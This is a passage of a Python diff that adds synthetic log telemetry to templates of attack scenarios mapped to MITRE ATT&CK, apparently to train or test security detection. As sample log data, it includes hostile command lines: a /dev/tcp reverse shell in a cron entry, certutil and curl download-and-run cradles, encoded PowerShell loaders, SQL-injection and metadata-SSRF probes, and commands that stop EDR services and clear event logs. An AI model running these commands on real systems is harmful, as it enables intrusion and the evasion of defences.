+ **fields,
+ }
+
+
+def _cloudtrail(event_name: str, event_source: str, **fields: Any) -> dict[str, Any]:
+ """AWS CloudTrail Record."""
+ return {
+ "source": "cloudtrail",
+ "eventName": event_name,
+ "eventSource": event_source,
+ "awsRegion": fields.pop("awsRegion", "us-east-1"),
+ **fields,
+ }
+
+
+def _auditd(syscall: str, **fields: Any) -> dict[str, Any]:
+ """Linux auditd (type=SYSCALL / EXECVE)."""
+ return {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": syscall,
+ **fields,
+ }
+
+
+def _journald(unit: str, **fields: Any) -> dict[str, Any]:
+ """systemd-journald event row."""
+ return {
+ "source": "linux_journald",
+ "_SYSTEMD_UNIT": unit,
+ **fields,
+ }
+
+
+def _edr(rule: str, severity: str = "high", **fields: Any) -> dict[str, Any]:
+ """Generic EDR detection event (CrowdStrike/Defender/SentinelOne shape)."""
+ return {
+ "source": "edr",
+ "rule": rule,
+ "severity": severity,
+ **fields,
+ }
+
+
+def _dns(qname: str, qtype: str = "A", **fields: Any) -> dict[str, Any]:
+ """DNS resolver / passive DNS row."""
+ return {
+ "source": "dns",
+ "query_name": qname,
+ "query_type": qtype,
+ **fields,
+ }
+
+
+def _web(method: str, url: str, status: int = 200, **fields: Any) -> dict[str, Any]:
+ """Web access / WAF / proxy log row."""
+ return {
+ "source": "web_access",
+ "http_method": method,
+ "url": url,
+ "status_code": status,
+ **fields,
+ }
+
+
+def _k8s(verb: str, resource: str, **fields: Any) -> dict[str, Any]:
+ """Kubernetes audit log (audit.k8s.io)."""
+ return {
+ "source": "k8s_audit",
+ "apiVersion": "audit.k8s.io/v1",
+ "kind": "Event",
+ "verb": verb,
+ "objectRef": {"resource": resource, **fields.pop("objectRef", {})},
+ **fields,
+ }
+
+
+def _github(action: str, **fields: Any) -> dict[str, Any]:
+ """GitHub audit log entry."""
+ return {
+ "source": "github_audit",
+ "action": action,
+ **fields,
+ }
+
+
+def _vpn(action: str, **fields: Any) -> dict[str, Any]:
+ """VPN gateway log (Cisco AnyConnect / GlobalProtect / etc.)."""
+ return {
+ "source": "vpn",
+ "action": action,
+ **fields,
+ }
+
+
+def _db(operation: str, **fields: Any) -> dict[str, Any]:
+ """Database audit log row (e.g. pgaudit, MSSQL audit, MySQL audit)."""
+ return {
+ "source": "db_audit",
+ "operation": operation,
+ **fields,
+ }
+
+
+# ---------------------------------------------------------------------------
+# Template definitions — each template covers a tactic+technique pair plus
+# 1-3 synthetic telemetry events that exercise the canonical detection path.
+#
+# Adding a new template:
+# 1. Pick a stable `template_id` slug (kebab-case, never reused).
+# 2. Cite at least one tactic + technique pair MITRE ATT&CK ID.
+# 3. Add ≥1 telemetry event using the factories above.
+# 4. Use {host}/{user}/{ip}/{campaign}/{ext}/{target_host} placeholders so
+# the resolver can fan them out across the dataset; the resolver walks
+# strings, dicts, and lists recursively.
# ---------------------------------------------------------------------------
+
@dataclass(frozen=True)
class Template:
+ template_id: str
title: str
description: str
tactics: tuple[str, ...]
@@ -80,6 +270,7 @@ class Template:
response_class: str
evidence_keywords: tuple[str, ...]
placeholders: tuple[str, ...] = field(default_factory=tuple)
+ telemetry: tuple[dict[str, Any], ...] = field(default_factory=tuple)
TEMPLATES: list[Template] = [
@@ -87,6 +278,7 @@ TEMPLATES: list[Template] = [
# Initial Access (TA0001)
# ─────────────────────────────────────────────────────────
Template(
+ template_id="phishing-macro-email",
title="Spear-phishing email with macro-laden attachment delivered to {user}",
description=(
"Inbound email from {ip} delivered an Office document with a malicious VBA macro to "
@@ -99,8 +291,33 @@ TEMPLATES: list[Template] = [
response_class="block_indicator",
evidence_keywords=("phishing email", "macro", "{ip}", "{host}", "{user}", "stage-2 payload"),
placeholders=("user", "ip", "host", "campaign"),
+ telemetry=(
+ _m365(
+ "Send",
+ workload="Exchange",
+ UserId="{user}",
+ ClientIP="{ip}",
+ Subject="Q4 invoice (action required)",
+ AttachmentNames=["invoice_q4.docm"],
+ ),
+ _sysmon(
+ 1,
+ Computer="{host}",
+ User="{user}",
+ Image="C:\\Windows\\System32\\cmd.exe",
+ ParentImage="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",
+ CommandLine="cmd.exe /c powershell -nop -w hidden -enc <stage2>",
+ ),
+ _edr(
+ "Office macro spawned cmd.exe",
+ Computer="{host}",
+ User="{user}",
+ threat_actor="{campaign}",
+ ),
+ ),
),
Template(
+ template_id="webapp-sqli-ssrf-exploit",
title="Exploitation of public-facing web app on {host}",
description=(
"WAF logs show SQL-injection and SSRF probes from {ip} against the application on "
@@ -113,8 +330,28 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("WAF", "SQL injection", "SSRF", "CVE-2024-1234", "{host}", "{ip}"),
placeholders=("ip", "host"),
+ telemetry=(
+ _web(
+ "GET",
+ url="https://{host}/search?q=' OR 1=1--",
+ status=200,
+ src_ip="{ip}",
+ user_agent="curl/8.4.0",
+ rule_match="WAF:SQLI:1011",
+ cve="CVE-2024-1234",
+ ),
+ _web(
+ "GET",
+ url="https://{host}/proxy?u=http://169.254.169.254/latest/meta-data/",
+ status=200,
+ src_ip="{ip}",
+ user_agent="curl/8.4.0",
+ rule_match="WAF:SSRF:2007",
+ ),
+ ),
),
Template(
+ template_id="confluence-watering-hole",
title="Watering-hole exploit served from internal Confluence by {ip}",
description=(
"Internal Confluence page injected with malicious JavaScript by {ip}. Drive-by exploit "
@@ -127,8 +364,25 @@ TEMPLATES: list[Template] = [
response_class="block_indicator",
evidence_keywords=("watering hole", "drive-by", "Confluence", "{ip}", "{user}", "{campaign}"),
placeholders=("ip", "user", "campaign"),
+ telemetry=(
+ _web(
+ "POST",
+ url="https://confluence.aisoc.dev/pages/editpage.action?pageId=8472",
+ status=200,
+ src_ip="{ip}",
+ user_agent="Mozilla/5.0",
+ payload_excerpt="<script src=//{ip}/x.js></script>",
+ ),
+ _edr(
+ "Browser exploitation: drive-by JavaScript loader",
+ Computer="WIN-HR-DESKTOP",
+ User="{user}",
+ threat_actor="{campaign}",
+ ),
+ ),
),
Template(
+ template_id="npm-supply-chain",
title="Supply-chain compromise: malicious npm package on {host}",
description=(
"CI pipeline on {host} installed compromised npm package `event-stream`. Post-install "
@@ -140,8 +394,34 @@ TEMPLATES: list[Template] = [
response_class="rollback_change",
evidence_keywords=("supply chain", "npm package", "event-stream", "post-install", "{host}", "{ip}"),
placeholders=("host", "ip"),
+ telemetry=(
+ _auditd(
+ "execve",
+ exe="/usr/bin/node",
+ a0="node",
+ a1="/tmp/node_modules/event-stream/postinstall.js",
+ hostname="{host}",
+ user="ci-runner",
+ ),
+ _github(
+ "workflow_run.completed",
+ workflow="ci.yml",
+ actor="dependabot[bot]",
+ repository="aisoc/web",
+ conclusion="success",
+ package_added="[email protected]",
+ ),
+ _edr(
+ "npm post-install reverse shell",
+ Computer="{host}",
+ User="ci-runner",
+ dest_ip="{ip}",
+ dest_port=4444,
+ ),
+ ),
),
Template(
+ template_id="usb-autorun-airgap",
title="Malicious USB autorun on air-gapped host {host}",
description=(
"USB device inserted on air-gapped {host} by {user}. AutoRun executed Python stager "
@@ -153,8 +433,26 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("USB", "autorun", "air-gapped", "{host}", "{user}", "Python stager"),
placeholders=("host", "user"),
+ telemetry=(
+ _winsec(
+ 6416,
+ Computer="{host}",
+ SubjectUserName="{user}",
+ ClassName="USB",
+ DeviceDescription="SanDisk Cruzer 16GB",
+ ),
+ _sysmon(
+ 1,
+ Computer="{host}",
+ User="{user}",
+ Image="C:\\Python311\\python.exe",
+ ParentImage="C:\\Windows\\System32\\rundll32.exe",
+ CommandLine="python.exe E:\\autorun.py --stage C:\\Temp\\",
+ ),
+ ),
),
Template(
+ template_id="oauth-consent-phish",
title="OAuth consent phishing targeting {user}",
description=(
"Malicious OAuth application granted Mail.Read and Files.Read.All scopes by {user}. "
@@ -166,12 +464,27 @@ TEMPLATES: list[Template] = [
response_class="disable_account",
evidence_keywords=("OAuth consent", "Mail.Read", "Files.Read.All", "{user}", "{ip}", "forwarding rule"),
placeholders=("user", "ip"),
+ telemetry=(
+ _m365(
+ "Consent to application.",
+ workload="AzureActiveDirectory",
+ UserId="{user}",
+ ApplicationId="00000003-0000-0ff1-ce00-000000000000",
+ ConsentedScopes=["Mail.Read", "Files.Read.All", "offline_access"],
+ ),
+ _m365(
+ "New-InboxRule",
+ workload="Exchange",
+ UserId="{user}",
+ Parameters={"Name": "Auto-fwd", "ForwardTo": "ext@{ip}", "DeleteMessage": True},
+ ),
+ ),
),
-
# ─────────────────────────────────────────────────────────
# Execution (TA0002)
# ─────────────────────────────────────────────────────────
Template(
+ template_id="powershell-obfuscated-dropper",
title="Obfuscated PowerShell dropper executed on {host}",
description=(
"PowerShell dropper executed on {host} by {user}; payload base64-encoded and decoded "
@@ -183,8 +496,26 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("powershell", "obfuscated", "base64", "{host}", "{user}", "{campaign}"),
placeholders=("host", "user", "campaign"),
+ telemetry=(
+ _sysmon(
+ 1,
+ Computer="{host}",
+ User="{user}",
+ Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
+ ParentImage="C:\\Windows\\explorer.exe",
+ CommandLine="powershell.exe -nop -w hidden -enc JABzAD0ATgB...",
+ ),
+ _winsec(
+ 4104,
+ Computer="{host}",
+ User="{user}",
+ ScriptBlockText="$s=[System.Convert]::FromBase64String(...);[Reflection.Assembly]::Load($s).EntryPoint.Invoke(...)",
+ threat_actor="{campaign}",
+ ),
+ ),
),
Template(
+ template_id="certutil-download-cradle",
title="Living-off-the-land: certutil download cradle on {host}",
description=(
"certutil.exe -urlcache invoked from cmd.exe on {host}. cmd.exe was spawned by "
@@ -196,8 +527,26 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("certutil", "urlcache", "outlook.exe", "{host}", "{ip}", "download cradle"),
placeholders=("host", "ip"),
+ telemetry=(
+ _sysmon(
+ 1,
+ Computer="{host}",
+ Image="C:\\Windows\\System32\\certutil.exe",
+ ParentImage="C:\\Windows\\System32\\cmd.exe",
+ CommandLine="certutil -urlcache -split -f http://{ip}/p.exe %TEMP%\\p.exe",
+ ),
+ _sysmon(
+ 3,
+ Computer="{host}",
+ Image="C:\\Windows\\System32\\certutil.exe",
+ DestinationIp="{ip}",
+ DestinationPort=80,
+ Protocol="tcp",
+ ),
+ ),
),
Template(
+ template_id="docker-runtime-abuse",
title="Container runtime abuse: malicious `docker run` on {host}",
description=(
"Unauthenticated Docker API on {host} exploited from {ip}. Container with cryptominer "
@@ -209,8 +558,27 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("docker", "container", "cryptominer", "miner", "{host}", "{ip}"),
placeholders=("host", "ip"),
+ telemetry=(
+ _web(
+ "POST",
+ url="http://{host}:2375/containers/create",
+ status=201,
+ src_ip="{ip}",
+ request_body={"Image": "monero/xmrig", "HostConfig": {"Privileged": True}},
+ ),
+ _auditd(
+ "execve",
+ exe="/usr/bin/docker",
+ a0="docker",
+ a1="run",
+ a2="--privileged",
+ hostname="{host}",
+ user="root",
+ ),
+ ),
),
Template(
+ template_id="wmi-event-subscription",
title="Malicious WMI subscription on {host}",
description=(
"Permanent WMI event subscription created on {host} by {user}. Consumer runs encoded "
@@ -222,12 +590,30 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("WMI", "subscription", "permanent", "{host}", "{user}", "encoded script"),
placeholders=("host", "user"),
+ telemetry=(
+ _sysmon(
+ 19,
+ Computer="{host}",
+ User="{user}",
+ EventNamespace="ROOT\\Subscription",
+ Name="UpdaterFilter",
+ Query="SELECT * FROM __InstanceModificationEvent WITHIN 60",
+ ),
+ _sysmon(
+ 21,
+ Computer="{host}",
+ Operation="Created",
+ Name="UpdaterConsumer",
+ Type="CommandLineEventConsumer",
+ Destination="powershell.exe -enc <encoded>",
+ ),
+ ),
),
-
# ─────────────────────────────────────────────────────────
# Persistence (TA0003)
# ─────────────────────────────────────────────────────────
Template(
+ template_id="registry-run-persistence",
title="Registry Run key persistence created by {user} on {host}",
description=(
"New value written to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run on "
@@ -239,8 +625,25 @@ TEMPLATES: list[Template] = [
response_class="rollback_change",
evidence_keywords=("registry run", "persistence", "revoked cert", "{host}", "{user}", "{campaign}"),
placeholders=("user", "host", "campaign"),
+ telemetry=(
+ _sysmon(
+ 13,
+ Computer="{host}",
+ User="{user}",
+ EventType="SetValue",
+ TargetObject="HKU\\S-1-5-21-...\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
+ Details="C:\\Users\\{user}\\AppData\\Roaming\\updater.exe",
+ ),
+ _edr(
+ "Persistence: Registry Run with revoked-cert signed binary",
+ Computer="{host}",
+ User="{user}",
+ threat_actor="{campaign}",
+ ),
+ ),
),
Template(
+ template_id="scheduled-task-persistence",
title="Scheduled task persistence on {host}",
description=(
"Hidden scheduled task created on {host} by {user}: triggers every 30 minutes, runs "
@@ -252,8 +655,26 @@ TEMPLATES: list[Template] = [
response_class="rollback_change",
evidence_keywords=("scheduled task", "persistence", "APPDATA", "{host}", "{user}"),
placeholders=("host", "user"),
+ telemetry=(
+ _winsec(
+ 4698,
+ Computer="{host}",
+ SubjectUserName="{user}",
+ TaskName="\\Microsoft\\Windows\\UpdaterTask",
+ TaskContent="<Hidden>true</Hidden><Exec>%APPDATA%\\Roaming\\u.ps1</Exec>",
+ ),
+ _sysmon(
+ 1,
+ Computer="{host}",
+ Image="C:\\Windows\\System32\\schtasks.exe",
+ ParentImage="C:\\Windows\\System32\\cmd.exe",
+ CommandLine="schtasks /Create /SC MINUTE /MO 30 /TN UpdaterTask /TR \"powershell -f %APPDATA%\\Roaming\\u.ps1\" /F",
+ User="{user}",
+ ),
+ ),
),
Template(
+ template_id="uefi-firmware-implant",
title="Firmware implant detected on UEFI partition of {host}",
description=(
"UEFI secure-boot violation on {host}. Unknown module detected in firmware. Signature "
@@ -265,8 +686,23 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("UEFI", "firmware", "implant", "secure boot", "{host}", "MosaicRegressor"),
placeholders=("host",),
+ telemetry=(
+ _winsec(
+ 4673,
+ Computer="{host}",
+ ObjectName="\\Device\\HarddiskVolume1\\EFI\\Microsoft\\Boot\\bootmgfw.efi",
+ ProcessName="C:\\Windows\\System32\\driver_signing.exe",
+ ),
+ _edr(
+ "UEFI implant: MosaicRegressor signature match",
+ Computer="{host}",
+ severity="critical",
+ indicator_path="ESP:/EFI/Boot/bootx64.efi",
+ ),
+ ),
),
Template(
+ template_id="cron-backdoor",
title="Backdoor cron job installed on {host}",
description=(
"/etc/cron.d entry created by {user} on {host}. Reverse shell beacon to {ip} every 5 "
@@ -278,12 +714,27 @@ TEMPLATES: list[Template] = [
response_class="rollback_change",
evidence_keywords=("cron", "backdoor", "reverse shell", "{host}", "{user}", "{ip}"),
placeholders=("host", "user", "ip"),
+ telemetry=(
+ _auditd(
+ "openat",
+ exe="/usr/bin/vi",
+ path="/etc/cron.d/zz-update",
+ hostname="{host}",
+ user="{user}",
+ a2="O_WRONLY|O_CREAT",
+ ),
+ _journald(
+ "cron.service",
+ MESSAGE="(root) CMD (/bin/bash -i >& /dev/tcp/{ip}/4444 0>&1)",
+ hostname="{host}",
+ ),
+ ),
),
-
# ─────────────────────────────────────────────────────────
# Privilege Escalation (TA0004)
# ─────────────────────────────────────────────────────────
Template(
+ template_id="uac-bypass-fodhelper",
title="UAC bypass observed on {host}",
description=(
"fodhelper.exe abuse on {host} by {user}; auto-elevation triggered without prompt. "
@@ -295,8 +746,27 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("UAC", "fodhelper", "auto-elevation", "{host}", "{user}", "SYSTEM"),
placeholders=("host", "user"),
+ telemetry=(
+ _sysmon(
+ 13,
+ Computer="{host}",
+ User="{user}",
+ EventType="SetValue",
+ TargetObject="HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command",
+ Details="C:\\Windows\\System32\\cmd.exe /c whoami",
+ ),
+ _sysmon(
+ 1,
+ Computer="{host}",
+ Image="C:\\Windows\\System32\\fodhelper.exe",
+ ParentImage="C:\\Windows\\explorer.exe",
+ IntegrityLevel="High",
+ User="SYSTEM",
+ ),
+ ),
),
Template(
+ template_id="k8s-privileged-pod-escape",
title="Container escape via privileged pod on {host}",
description=(
"Kubernetes privileged pod created on {host} by {user}. cgroup escape to host "
@@ -308,8 +778,34 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("kubernetes", "privileged pod", "container escape", "cgroup", "{host}", "{user}"),
placeholders=("host", "user"),
+ telemetry=(
+ _k8s(
+ "create",
+ resource="pods",
+ user={"username": "{user}"},
+ requestObject={
+ "spec": {
+ "containers": [
+ {"name": "x", "image": "alpine", "securityContext": {"privileged": True}}
+ ],
+ "hostPID": True,
+ }
+ },
+ stage="ResponseComplete",
+ responseStatus={"code": 201},
+ node="{host}",
+ ),
+ _auditd(
+ "openat",
+ exe="/bin/sh",
+ path="/host/etc/shadow",
+ hostname="{host}",
+ user="root",
+ ),
+ ),
),
Template(
+ template_id="linux-suid-abuse",
title="Linux SUID binary abuse on {host}",
description=(
"Custom SUID binary discovered in /tmp on {host}; allows arbitrary command execution "
@@ -321,12 +817,30 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("SUID", "/tmp", "root escalation", "{host}", "{user}"),
placeholders=("host", "user"),
+ telemetry=(
+ _auditd(
+ "chmod",
+ exe="/bin/chmod",
+ a1="/tmp/.x",
+ mode="04755",
+ hostname="{host}",
+ user="{user}",
+ ),
+ _auditd(
+ "execve",
+ exe="/tmp/.x",
+ hostname="{host}",
+ uid=1001,
+ euid=0,
+ user="{user}",
+ ),
+ ),
),
-
# ─────────────────────────────────────────────────────────
# Defense Evasion (TA0005)
# ─────────────────────────────────────────────────────────
Template(
+ template_id="process-hollowing-svchost",
title="Memory-only fileless implant in svchost on {host}",
description=(
"Process hollowing detected on {host}: svchost.exe replaced with Cobalt Strike beacon "
@@ -338,8 +852,33 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("process hollowing", "fileless", "svchost", "Cobalt Strike", "{host}", "{ip}"),
placeholders=("host", "ip", "campaign"),
+ telemetry=(
+ _sysmon(
+ 8,
+ Computer="{host}",
+ SourceImage="C:\\Windows\\System32\\powershell.exe",
+ TargetImage="C:\\Windows\\System32\\svchost.exe",
+ StartFunction="LoadLibraryW",
+ NewThreadId=4716,
+ ),
+ _sysmon(
+ 3,
+ Computer="{host}",
+ Image="C:\\Windows\\System32\\svchost.exe",
+ DestinationIp="{ip}",
+ DestinationPort=443,
+ Protocol="tcp",
+ ja3="a0e9f5d64349fb13191bc781f81f42e1",
+ ),
+ _edr(
+ "Cobalt Strike beacon (process hollowing)",
+ Computer="{host}",
+ threat_actor="{campaign}",
+ ),
+ ),
),
Template(
+ template_id="event-log-cleared",
title="Indicator removal: Windows event log cleared on {host}",
description=(
"Security event log cleared on {host} by {user}. wevtutil.exe cl Security observed in "
@@ -351,8 +890,25 @@ TEMPLATES: list[Template] = [
response_class="escalate",
evidence_keywords=("wevtutil", "log cleared", "indicator removal", "{host}", "{user}"),
placeholders=("host", "user"),
+ telemetry=(
+ _winsec(
+ 1102,
+ Computer="{host}",
+ SubjectUserName="{user}",
+ Channel="Security",
+ Description="The audit log was cleared.",
+ ),
+ _sysmon(
+ 1,
+ Computer="{host}",
+ User="{user}",
+ Image="C:\\Windows\\System32\\wevtutil.exe",
+ CommandLine="wevtutil cl Security",
+ ),
+ ),
),
Template(
+ template_id="disable-edr-tooling",
title="Disable security tooling on {host}",
description=(
"{user} attempted to stop Defender, CrowdStrike, and Sysmon on {host}. Tampering "
@@ -364,12 +920,29 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("defender", "crowdstrike", "sysmon", "tampering", "{host}", "{user}"),
placeholders=("host", "user"),
+ telemetry=(
+ _sysmon(
+ 1,
+ Computer="{host}",
+ User="{user}",
+ Image="C:\\Windows\\System32\\sc.exe",
+ CommandLine="sc.exe stop CSAgent",
+ ),
+ _sysmon(
+ 1,
+ Computer="{host}",
+ User="{user}",
+ Image="C:\\Windows\\System32\\sc.exe",
+ CommandLine="sc.exe stop WinDefend",
+ ),
+ _edr("EDR tampering attempt", Computer="{host}", User="{user}", severity="critical"),
+ ),
),
-
# ─────────────────────────────────────────────────────────
# Credential Access (TA0006)
# ─────────────────────────────────────────────────────────
Template(
+ template_id="lsass-memory-dump",
title="LSASS memory dump on {host} by {user}",
description=(
"comsvcs.dll MiniDump observed on {host}. lsass.exe memory dumped to "
@@ -381,8 +954,27 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("lsass", "minidump", "comsvcs", "mimikatz", "{host}", "{user}"),
placeholders=("host", "user"),
+ telemetry=(
+ _sysmon(
+ 10,
+ Computer="{host}",
+ SourceImage="C:\\Windows\\System32\\rundll32.exe",
+ TargetImage="C:\\Windows\\System32\\lsass.exe",
+ GrantedAccess="0x1010",
+ CallTrace="comsvcs.dll+5d24|MiniDumpWriteDump",
+ User="{user}",
+ ),
+ _sysmon(
+ 11,
+ Computer="{host}",
+ Image="C:\\Windows\\System32\\rundll32.exe",
+ TargetFilename="C:\\Windows\\Temp\\lsass.dmp",
+ User="{user}",
+ ),
+ ),
),
Template(
+ template_id="credential-spray",
title="Brute-force credential spray against {user} from {ip}",
description=(
"Credential spray from {ip} against {user}. 1500 password attempts in 30 minutes. "
@@ -394,8 +986,27 @@ TEMPLATES: list[Template] = [
response_class="disable_account",
evidence_keywords=("brute force", "credential spray", "{user}", "{ip}", "azure ad"),
placeholders=("user", "ip"),
+ telemetry=(
+ _azure_signin(
+ userPrincipalName="{user}",
+ ipAddress="{ip}",
+ resultType=50126,
+ resultDescription="Invalid username or password",
+ appDisplayName="Office 365 Exchange Online",
+ attempt_count=1500,
+ ),
+ _azure_signin(
+ userPrincipalName="{user}",
+ ipAddress="{ip}",
+ resultType=0,
+ resultDescription="Success",
+ conditionalAccessStatus="success",
+ riskLevelAggregated="high",
+ ),
+ ),
),
Template(
+ template_id="kerberoasting",
title="Kerberoasting from {host}",
description=(
"Service account TGS tickets requested en-masse from {host} by {user}. AES256 → RC4 "
@@ -407,8 +1018,27 @@ TEMPLATES: list[Template] = [
response_class="disable_account",
evidence_keywords=("kerberoast", "TGS", "RC4", "mimikatz", "{host}", "{user}"),
placeholders=("host", "user"),
+ telemetry=(
+ _winsec(
+ 4769,
+ Computer="WIN-DC-PRIMARY",
+ TargetUserName="{user}",
+ ServiceName="MSSQLSvc/sql.aisoc.dev",
+ TicketEncryptionType="0x17",
+ IpAddress="{host}",
+ ),
+ _winsec(
+ 4769,
+ Computer="WIN-DC-PRIMARY",
+ TargetUserName="{user}",
+ ServiceName="HTTP/web01.aisoc.dev",
+ TicketEncryptionType="0x17",
+ IpAddress="{host}",
+ ),
+ ),
),
Template(
+ template_id="ad-dcsync",
title="Active Directory DCSync from non-DC host {host}",
description=(
"Replication rights abused from {host} by {user}. All domain NTLM hashes replicated. "
@@ -420,8 +1050,20 @@ TEMPLATES: list[Template] = [
response_class="disable_account",
evidence_keywords=("dcsync", "replication", "ntlm hash", "{host}", "{user}"),
placeholders=("host", "user"),
+ telemetry=(
+ _winsec(
+ 4662,
+ Computer="WIN-DC-PRIMARY",
+ SubjectUserName="{user}",
+ ObjectServer="DS",
+ ObjectType="domainDNS",
+ Properties="1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", # DS-Replication-Get-Changes-All
+ ClientIP="{host}",
+ ),
+ ),
),
Template(
+ template_id="saml-golden-ticket",
title="SAML golden-ticket: forged assertion targeting {user}",
description=(
"Forged SAML assertion detected for {user}. Attacker pivoted to Azure AD; account "
@@ -433,12 +1075,28 @@ TEMPLATES: list[Template] = [
response_class="disable_account",
evidence_keywords=("saml", "golden ticket", "forged", "azure ad", "{user}", "{ip}"),
placeholders=("user", "ip"),
+ telemetry=(
+ _azure_signin(
+ userPrincipalName="{user}",
+ ipAddress="{ip}",
+ resultType=0,
+ authenticationDetails=[{"authenticationMethod": "Federated", "succeeded": True}],
+ tokenIssuerType="ADFederationServices",
+ tokenIssuerName="forged-adfs.aisoc.dev",
+ ),
+ _m365(
+ "Add member to role.",
+ workload="AzureActiveDirectory",
+ UserId="{user}",
+ ModifiedProperties=[{"Name": "Role.DisplayName", "NewValue": "Global Administrator"}],
+ ),
+ ),
),
-
# ─────────────────────────────────────────────────────────
# Discovery (TA0007)
# ─────────────────────────────────────────────────────────
Template(
+ template_id="ldap-bloodhound-discovery",
title="Domain enumeration from {host}",
description=(
"ldap discovery from {host} by {user}: BloodHound-style queries enumerating users, "
@@ -450,8 +1108,27 @@ TEMPLATES: list[Template] = [
response_class="monitor",
evidence_keywords=("ldap", "bloodhound", "domain enumeration", "{host}", "{user}"),
placeholders=("host", "user"),
+ telemetry=(
+ _sysmon(
+ 3,
+ Computer="{host}",
+ Image="C:\\Tools\\SharpHound.exe",
+ DestinationIp="WIN-DC-PRIMARY",
+ DestinationPort=389,
+ User="{user}",
+ ),
+ _winsec(
+ 4662,
+ Computer="WIN-DC-PRIMARY",
+ SubjectUserName="{user}",
+ ObjectType="user",
+ AccessMask="0x100", # ControlAccess
+ EventCount=8400,
+ ),
+ ),
),
Template(
+ template_id="smb-share-enumeration",
title="Network share enumeration on {host}",
description=(
"Mass SMB share enumeration from {host} by {user}; net.exe and PowerShell Get-SmbShare "
@@ -463,12 +1140,29 @@ TEMPLATES: list[Template] = [
response_class="monitor",
evidence_keywords=("smb", "net.exe", "Get-SmbShare", "share enumeration", "{host}", "{user}"),
placeholders=("host", "user"),
+ telemetry=(
+ _sysmon(
+ 1,
+ Computer="{host}",
+ User="{user}",
+ Image="C:\\Windows\\System32\\net.exe",
+ CommandLine="net.exe view /domain",
+ ),
+ _winsec(
+ 5145,
+ Computer="WIN-FILE-SHARE",
+ SubjectUserName="{user}",
+ ShareName="\\\\*\\*",
+ IpAddress="{host}",
+ EventCount=256,
+ ),
+ ),
),
-
# ─────────────────────────────────────────────────────────
# Lateral Movement (TA0008)
# ─────────────────────────────────────────────────────────
Template(
+ template_id="pass-the-hash-lateral",
title="Pass-the-hash from {host} to {target_host}",
description=(
"Pass-the-hash lateral movement from {host} to {target_host} by {user}. Golden ticket "
@@ -480,8 +1174,27 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("pass-the-hash", "golden ticket", "{host}", "{target_host}", "{user}", "{campaign}"),
placeholders=("host", "target_host", "user", "campaign"),
+ telemetry=(
+ _winsec(
+ 4624,
+ Computer="{target_host}",
+ TargetUserName="{user}",
+ LogonType=3,
+ AuthenticationPackageName="NTLM",
+ IpAddress="{host}",
+ LogonProcessName="NtLmSsp",
+ ),
+ _edr(
+ "Pass-the-hash indicators (NTLM hash reuse)",
+ Computer="{target_host}",
+ Source="{host}",
+ User="{user}",
+ threat_actor="{campaign}",
+ ),
+ ),
),
Template(
+ template_id="rdp-lateral-movement",
title="RDP lateral movement from {host}",
description=(
"Anomalous RDP session from {host} ({user}) to {target_host} outside business hours. "
@@ -493,8 +1206,20 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("rdp", "lateral movement", "outside hours", "{host}", "{target_host}", "{user}"),
placeholders=("host", "target_host", "user"),
+ telemetry=(
+ _winsec(
+ 4624,
+ Computer="{target_host}",
+ TargetUserName="{user}",
+ LogonType=10, # RemoteInteractive
+ IpAddress="{host}",
+ LogonProcessName="User32",
+ EventTimeUTC="03:14:00Z",
+ ),
+ ),
),
Template(
+ template_id="wmi-lateral-execution",
title="WMI lateral execution from {host} to {target_host}",
description=(
"wmic.exe /node:{target_host} process call create observed from {host} by {user}. "
@@ -506,12 +1231,21 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("wmic", "lateral", "{host}", "{target_host}", "{user}", "{ip}"),
placeholders=("host", "target_host", "user", "ip"),
+ telemetry=(
+ _sysmon(
+ 1,
+ Computer="{host}",
+ User="{user}",
+ Image="C:\\Windows\\System32\\wbem\\wmic.exe",
+ CommandLine="wmic /node:{target_host} process call create \"cmd /c curl http://{ip}/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\"",
+ ),
+ ),
),
-
# ─────────────────────────────────────────────────────────
# Collection (TA0009)
# ─────────────────────────────────────────────────────────
Template(
+ template_id="bulk-pii-download",
title="Bulk PII download by {user}",
description=(
"{user} downloaded >10 GB of customer records from production database from {host}. "
@@ -523,8 +1257,20 @@ TEMPLATES: list[Template] = [
response_class="disable_account",
evidence_keywords=("bulk download", "pii", "customer record", "{host}", "{user}"),
placeholders=("user", "host"),
+ telemetry=(
+ _db(
+ "SELECT",
+ user="{user}",
+ src_host="{host}",
+ database="prod_customers",
+ table="customer_records",
+ rows_returned=4_200_000,
+ bytes=10_700_000_000,
+ ),
+ ),
),
Template(
+ template_id="clipboard-keylogger",
title="Clipboard logging implant on {host}",
description=(
"Clipboard contents from {host} ({user}) being captured to %APPDATA%\\Local\\. "
@@ -536,12 +1282,28 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("clipboard", "keylog", "credentials", "{host}", "{user}"),
placeholders=("host", "user"),
+ telemetry=(
+ _sysmon(
+ 24, # ClipboardChange
+ Computer="{host}",
+ User="{user}",
+ Image="C:\\Users\\{user}\\AppData\\Local\\sched.exe",
+ Hashes="SHA256=abc...",
+ ),
+ _sysmon(
